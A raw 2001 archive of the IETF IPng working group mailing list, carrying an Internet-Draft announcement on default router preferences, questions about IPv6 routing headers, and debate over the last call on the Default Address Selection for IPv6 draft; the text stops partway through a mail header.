from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA12822; Tue, 22 May 2001 07:03:11 -0400 (EDT) Message-Id: <200105221103.HAA12822@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipngwg-router-selection-00.txt Date: Tue, 22 May 2001 07:03:11 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IPNG Working Group of the IETF. Title : Default Router Preferences and More-Specific Routes Author(s) : R. Draves Filename : draft-ietf-ipngwg-router-selection-00.txt Pages : 11 Date : 21-May-01 This document describes an optional extension to Neighbor Discovery Router Advertisement messages for communicating default router preferences and more-specific routes from routers to hosts. This improves the ability of hosts to pick an appropriate router, especially when the host is multi-homed and the routers are on different links. The preference values and specific routes advertised to hosts require administrative configuration; they are not automatically derived from routing tables. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-router-selection-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipngwg-router-selection-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipngwg-router-selection-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010521131144.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipngwg-router-selection-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipngwg-router-selection-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010521131144.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 22 07:23:31 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4MDmUb12494 for ipng-dist; Tue, 22 May 2001 06:48:30 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4MDmFM12483 for ; Tue, 22 May 2001 06:48:17 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA17975 for ; Tue, 22 May 2001 06:48:16 -0700 (PDT) Received: from drama.navipath.com (drama.navipath.com [216.67.14.8]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA23244 for ; Tue, 22 May 2001 06:48:15 -0700 (PDT) Received: (from root@localhost) by drama.navipath.com with id f4MDihf31007; Tue, 22 May 2001 09:44:43 -0400 (EDT) Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id HAA19898 for ietf-123-outbound.04@ietf.org; Tue, 22 May 2001 07:45:00 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA19534 for ; Tue, 22 May 2001 07:03:14 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA12822; Tue, 22 May 2001 07:03:11 -0400 (EDT) Message-Id: <200105221103.HAA12822@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipngwg-router-selection-00.txt Date: Tue, 22 May 2001 07:03:11 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IPNG Working Group of the IETF. Title : Default Router Preferences and More-Specific Routes Author(s) : R. Draves Filename : draft-ietf-ipngwg-router-selection-00.txt Pages : 11 Date : 21-May-01 This document describes an optional extension to Neighbor Discovery Router Advertisement messages for communicating default router preferences and more-specific routes from routers to hosts. This improves the ability of hosts to pick an appropriate router, especially when the host is multi-homed and the routers are on different links. The preference values and specific routes advertised to hosts require administrative configuration; they are not automatically derived from routing tables. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-router-selection-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipngwg-router-selection-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipngwg-router-selection-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010521131144.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipngwg-router-selection-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipngwg-router-selection-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010521131144.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 22 11:01:18 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4MHfvi12823 for ipng-dist; Tue, 22 May 2001 10:41:57 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4MHfqM12816 for ; Tue, 22 May 2001 10:41:52 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f4MHc7a25652 for ipng@sunroof.eng.sun.com; Tue, 22 May 2001 10:38:07 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4MFUhM12641 for ; Tue, 22 May 2001 08:30:44 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA23604 for ; Tue, 22 May 2001 08:30:41 -0700 (PDT) Received: from mailrelay1.chek.com (plotnick.chek.com [208.197.227.116]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA15596 for ; Tue, 22 May 2001 09:30:39 -0600 (MDT) Received: (qmail 30427 invoked from network); 22 May 2001 15:30:38 -0000 Received: from fancyfeast.chek.com (208.197.227.100) by mailrelay1.chek.com with SMTP; 22 May 2001 15:30:38 -0000 Received: (qmail 2783 invoked by uid 99); 22 May 2001 15:29:48 -0000 Date: 22 May 2001 15:29:48 -0000 Message-ID: <20010522152948.2780.qmail@fancyfeast.chek.com> From: "Emanuel Moreira" To: ipng@sunroof.eng.sun.com, msripv6-users@list.research.microsoft.com, users@ipv6.org X-MASSMAIL: 1.0 X-Originating-IP: [193.137.173.132] Subject: CISCO IOS IPv6 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I would like to know where can I get a version of CISCO IOS to router 1600 with IPv6 enabled. I looked at CISCO but as I am a student I can not be registered so I can't get it from there. Can anyone help me? Thanks Emanuel Moreira _____________________________________________________________ O e-mail preferido dos portugueses http://www.portugalmail.pt -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 24 14:28:56 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4OLSL003002 for ipng-dist; Thu, 24 May 2001 14:28:21 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4OLSHe02995 for ; Thu, 24 May 2001 14:28:17 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA03291 for ; Thu, 24 May 2001 14:28:25 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA20641 for ; Thu, 24 May 2001 14:28:20 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id OAA11269; Thu, 24 May 2001 14:28:14 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id f4OLSBV26937; Thu, 24 May 2001 14:28:11 -0700 X-mProtect: Thu, 24 May 2001 14:28:11 -0700 Nokia Silicon Valley Messaging Protection Received: from spruce.iprg.nokia.com (205.226.1.63) by darkstar.iprg.nokia.com(P1.5 smtpdeQsurg; Thu, 24 May 2001 14:28:08 PDT Message-Id: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 24 May 2001 14:26:24 -0700 To: ipng@sunroof.eng.sun.com From: Bob Hinden Subject: W.G. Last Call on "Default Address Selection for IPv6" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a IPng working group last call for comments on advancing the following document as a Proposed Standard: Title : Default Address Selection for IPv6 Author(s) : R. Draves Filename : draft-ietf-ipngwg-default-addr-select-04.txt Pages : 20 Date : 14-May-01 Please send substantive comments to the ipng mailing list, and minor editorial comments to the author. This last call period will end two week from today on June 7, 2001. Bob Hinden / Steve Deering -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 24 14:43:47 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4OLh3e03083 for ipng-dist; Thu, 24 May 2001 14:43:04 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4OLh2e03076 for ; Thu, 24 May 2001 14:43:02 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f4OLdMe00132 for ipng@sunroof.eng.sun.com; Thu, 24 May 2001 14:39:22 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4O0LFe01845 for ; Wed, 23 May 2001 17:21:15 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA12919 for ; Wed, 23 May 2001 17:21:21 -0700 (PDT) Received: from 3w-smtp-ae.korea.com ([211.109.1.115]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA22606 for ; Wed, 23 May 2001 17:21:16 -0700 (PDT) Received: from 3w-pop3-aa.korea.com ([172.31.1.4]) by 3w-smtp-ae.korea.com with Microsoft SMTPSVC(5.0.2195.2345); Thu, 24 May 2001 09:21:33 +0900 Received: from words ([211.113.87.7]) by 3w-pop3-aa.korea.com with Microsoft SMTPSVC(5.0.2195.1600); Thu, 24 May 2001 09:21:32 +0900 Message-ID: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> Reply-To: "Jiwoong Lee" From: "Jiwoong Lee" To: Subject: [Q] Routing header Date: Thu, 24 May 2001 09:25:02 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-OriginalArrivalTime: 24 May 2001 00:21:33.0181 (UTC) FILETIME=[7C7BC2D0:01C0E3E7] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I found only one type of routing header is given in the IPv6 spec. I've got two simple questions: 1) Are there other kinds of routing header type defined in documents ? 2) If any, Is it possible to include multiple routing headers at the same time with different routing header type ? Regards, Jiwoong -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 24 14:52:14 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4OLpmG03109 for ipng-dist; Thu, 24 May 2001 14:51:48 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4OLpie03102 for ; Thu, 24 May 2001 14:51:45 -0700 (PDT) Received: from fenris.spnusw.sun.com (halley.EBay.Sun.COM [129.150.111.35]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA03061 for ; Thu, 24 May 2001 14:51:52 -0700 (PDT) Received: from orpheus.amdahl.com (orpheus.amdahl.com [129.212.11.3]) by fenris.spnusw.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA14621 for ; Thu, 24 May 2001 14:48:42 -0700 (PDT) Received: from orpheus.amdahl.com (localhost [127.0.0.1]) by orpheus.amdahl.com (8.9.3/8.9.3) with ESMTP id OAA21158 for ; Thu, 24 May 2001 14:51:50 -0700 (PDT) Received: from fujitsuI.fujitsu.com (fujitsuI.fujitsu.com [133.164.253.1]) by orpheus.amdahl.com (8.9.3/8.9.3) with ESMTP id OAA21152 for ; Thu, 24 May 2001 14:51:49 -0700 (PDT) Received: from fujitsuI.fujitsu.com (localhost [127.0.0.1]) by fujitsuI.fujitsu.com (8.9.3/8.9.3) with ESMTP id OAA00781 for ; Thu, 24 May 2001 14:51:48 -0700 (PDT) Received: from abroad.proxy.fujitsu.co.jp (fsas.fujitsu.co.jp [133.161.11.30]) by fujitsuI.fujitsu.com (8.9.3/8.9.3) with ESMTP id OAA00770 for ; Thu, 24 May 2001 14:51:47 -0700 (PDT) Received: from m3.gw.fujitsu.co.jp by abroad.proxy.fujitsu.co.jp (8.9.3/3.7W-0105-Abroad Gateway) id GAA28095; Fri, 25 May 2001 06:51:46 +0900 (JST) Received: from ns.xcast.flab.v6.fujitsu.co.jp by m3.gw.fujitsu.co.jp (8.9.3/3.7W-0105-Fujitsu Domain Master) id GAA18167; Fri, 25 May 2001 06:51:46 +0900 (JST) (envelope-from kimai@flab.fujitsu.co.jp) Received: from localhost (localhost [127.0.0.1]) by ns.xcast.flab.v6.fujitsu.co.jp (8.11.3/8.11.1) with ESMTP id f4OLq4a86276; Fri, 25 May 2001 06:52:04 +0900 (JST) (envelope-from kimai@flab.fujitsu.co.jp) To: porce@kaist.ac.kr Cc: ipng@sunroof.eng.sun.com Subject: Re: [Q] Routing header In-Reply-To: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> X-Mailer: Mew version 1.94.2 on XEmacs 21.1 (Cuyahoga Valley) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010525065204O.kimai@flab.fujitsu.co.jp> Date: Fri, 25 May 2001 06:52:04 +0900 From: IMAI Yuji X-Dispatcher: imput version 20000228(IM140) Lines: 22 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, Jiwoong. You can find IANA already assigned one more type of routing header looking at http://www.isi.edu/in-notes/iana/assignments/ipv6-parameters I am not sure but there was no consderation we can attach more than two routing header in a datagram. --- Yuji From: "Jiwoong Lee" Subject: [Q] Routing header Date: Thu, 24 May 2001 09:25:02 +0900 > I found only one type of routing header is given in the IPv6 spec. > > I've got two simple questions: > > 1) Are there other kinds of routing header type defined in documents ? > 2) If any, Is it possible to include multiple routing headers at the same > time with different routing header type ? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 24 15:51:35 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4OMouu03444 for ipng-dist; Thu, 24 May 2001 15:50:56 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4OMoqe03435 for ; Thu, 24 May 2001 15:50:52 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA21201 for ; Thu, 24 May 2001 15:50:58 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA08957 for ; Thu, 24 May 2001 16:50:56 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 52D884B0B; Fri, 25 May 2001 07:50:54 +0900 (JST) To: Bob Hinden Cc: ipng@sunroof.eng.sun.com In-reply-to: hinden's message of Thu, 24 May 2001 14:26:24 MST. <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" From: itojun@iijlab.net Date: Fri, 25 May 2001 07:50:54 +0900 Message-ID: <17336.990744654@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >This is a IPng working group last call for comments on advancing the >following document as a Proposed Standard: > Title : Default Address Selection for IPv6 > Author(s) : R. Draves > Filename : draft-ietf-ipngwg-default-addr-select-04.txt > Pages : 20 > Date : 14-May-01 >Please send substantive comments to the ipng mailing list, and minor >editorial comments to the author. This last call period will end two >week from today on June 7, 2001. were there concrete agreement made about standard-track/informational? i find the following on IETF50 minutes, nothing else (correct me if i'm wrong). were there any poll on mailing list made? http://playground.sun.com/pub/ipng/html/minutes/ipng-minutes-mar2001.txt itojun --- Jim Bound thinks this shouldn't be a standard, should be informational. Thinks is policy. This should be suggested recommendation, not default. Draves: Thinks this document does have implementation requirements. "Must" requirement have implementation consequences. Bound: Doesn't agree with some of the choices (e.g., selection of site scope as source to send to global destination). (snip) Nordmark: Thinks this should be standards track. Splitting between must and should. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 01:12:52 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4P8CCx04162 for ipng-dist; Fri, 25 May 2001 01:12:12 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4P8C8e04155 for ; Fri, 25 May 2001 01:12:08 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA26777 for ; Fri, 25 May 2001 01:12:13 -0700 (PDT) Received: from mail.n016.co.kr ([203.229.169.4]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA20983 for ; Fri, 25 May 2001 01:12:12 -0700 (PDT) Received: from freenet.ktf.co.kr (freenet.ktf.co.kr [203.229.169.83]) by mail.n016.co.kr (v3smtp 8.11.3 Copyright (c) 1998-2001 Sendmail, Inc. All rights reserved. Copyright (c) 1988, 1993 The Regents of the University of California. All rights reserved./8.11.1) with ESMTP id f4P88SQ22047; Fri, 25 May 2001 17:08:28 +0900 (KST) Received: from words ([10.6.10.174]) by freenet.ktf.co.kr (8.9.3/8.9.3) with SMTP id RAA08025; Fri, 25 May 2001 17:09:20 +0900 (KST) Message-ID: <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> From: "Jiwoong Lee" To: "IMAI Yuji" Cc: References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> Subject: Re: [Q] Routing header Date: Fri, 25 May 2001 17:14:52 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thanks for the information Yuji. One interesting thing to me about routing header specified in rfc 2460, is that the spec descrbies that the routing header itself, rather than routing header with type 0 is similar to loose source route option in IPv4. What is missing (I think) in the spec is, description on possiblities of plural routing headers with different types or the same types. PS, Please, would anyone notify me of the reliable delivery of this message ? It seems the majordomo does not like this email very much - it spat out. ----- Original Message ----- From: "IMAI Yuji" To: Cc: Sent: Friday, May 25, 2001 6:52 AM Subject: Re: [Q] Routing header > Hi, Jiwoong. > > You can find IANA already assigned one more type of routing > header looking at > http://www.isi.edu/in-notes/iana/assignments/ipv6-parameters > > I am not sure but there was no consderation we can attach more > than two routing header in a datagram. > --- > Yuji > > From: "Jiwoong Lee" > Subject: [Q] Routing header > Date: Thu, 24 May 2001 09:25:02 +0900 > > > I found only one type of routing header is given in the IPv6 spec. > > > > I've got two simple questions: > > > > 1) Are there other kinds of routing header type defined in documents ? > > 2) If any, Is it possible to include multiple routing headers at the same > > time with different routing header type ? > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 08:03:09 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PF2Od04615 for ipng-dist; Fri, 25 May 2001 08:02:24 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) with ESMTP id f4PF2He04608 for ; Fri, 25 May 2001 08:02:18 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA02047 for ; Fri, 25 May 2001 08:02:21 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA07346 for ; Fri, 25 May 2001 09:02:20 -0600 (MDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA02498; Fri, 25 May 2001 11:02:14 -0400 Date: Fri, 25 May 2001 11:02:13 -0400 (EDT) From: Jim Bound To: itojun@iijlab.net Cc: Bob Hinden , ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: <17336.990744654@itojun.org> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, I may still object to it being a standards document. I read roughly the 04 draft. My main issue is that I do not believe one should EVER use a site-local address when sending to a GLOBAL address unless one has a global address available. This does not appear to be a requirement of the algorithm, but I will check again on my plane ride to Seattle. If it is I can't see any argument changing my mind for the default behavior. As far as it being standards tracked I will forgo that issue and the reason is that precedence has been changed via ngtrans with some of the specs being standards tracked for transition and rich's work is better than a few of those in some instances and if they are standards track then so should this be. I do believe though we in the IETF are on a slippery slope here and need to be careful for any pandora's box we have opened for lets say 2006 when we are working on technology we may not for see now as standard vs informational. I should probably write a position paper on this for the IESG and IAB as an objective treatise of IETF epistemology. As far as policy I hav changed my mind on this a bit because I think we could cause a mamor problem with IPv6 if we don't at least give some default guidance to the vendors and market regarding use of our multi scoped addressing architecture. My normal laizze-faire view of our work here and my support or not support needs to be tempered in this case. But then we get down to what is right and wrong. Using same scope should be done as DEFAULT. Anything else is very very bad. My belief is that what Rich did. But want to check one more time on the plane. My other concerns are how the wording is in the selection process and if the spec tells me how I must implement this in libc, APIs, and most importantly how I would do the conditionals and data structures to support the draft. If it is left open and not forced by any IETF SHOULD or MUST I am fine with it for my reasons above. I will check this on the plane too. As far as the issues not being resolved and the chairs sending a last call. Well I will assume they belived the last call will flush the final discussions out on the list. But I do think all the attached issues should be resolved. thanks /jim On Fri, 25 May 2001 itojun@iijlab.net wrote: > > >This is a IPng working group last call for comments on advancing the > >following document as a Proposed Standard: > > Title : Default Address Selection for IPv6 > > Author(s) : R. Draves > > Filename : draft-ietf-ipngwg-default-addr-select-04.txt > > Pages : 20 > > Date : 14-May-01 > >Please send substantive comments to the ipng mailing list, and minor > >editorial comments to the author. This last call period will end two > >week from today on June 7, 2001. > > were there concrete agreement made about standard-track/informational? > i find the following on IETF50 minutes, nothing else (correct me > if i'm wrong). were there any poll on mailing list made? > http://playground.sun.com/pub/ipng/html/minutes/ipng-minutes-mar2001.txt > > itojun > > > --- > Jim Bound thinks this shouldn't be a standard, should be informational. > Thinks is policy. This should be suggested recommendation, not default. > Draves: Thinks this document does have implementation requirements. > "Must" requirement have implementation consequences. Bound: Doesn't > agree with some of the choices (e.g., selection of site scope as source > to send to global destination). > (snip) > Nordmark: Thinks this should be standards track. Splitting between must > and should. > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 25 08:16:45 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta1+Sun/8.11.4.Beta1) id f4PFG8Q04646 for ipng-dist; Fri, 25 May 2001 08:16:08 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 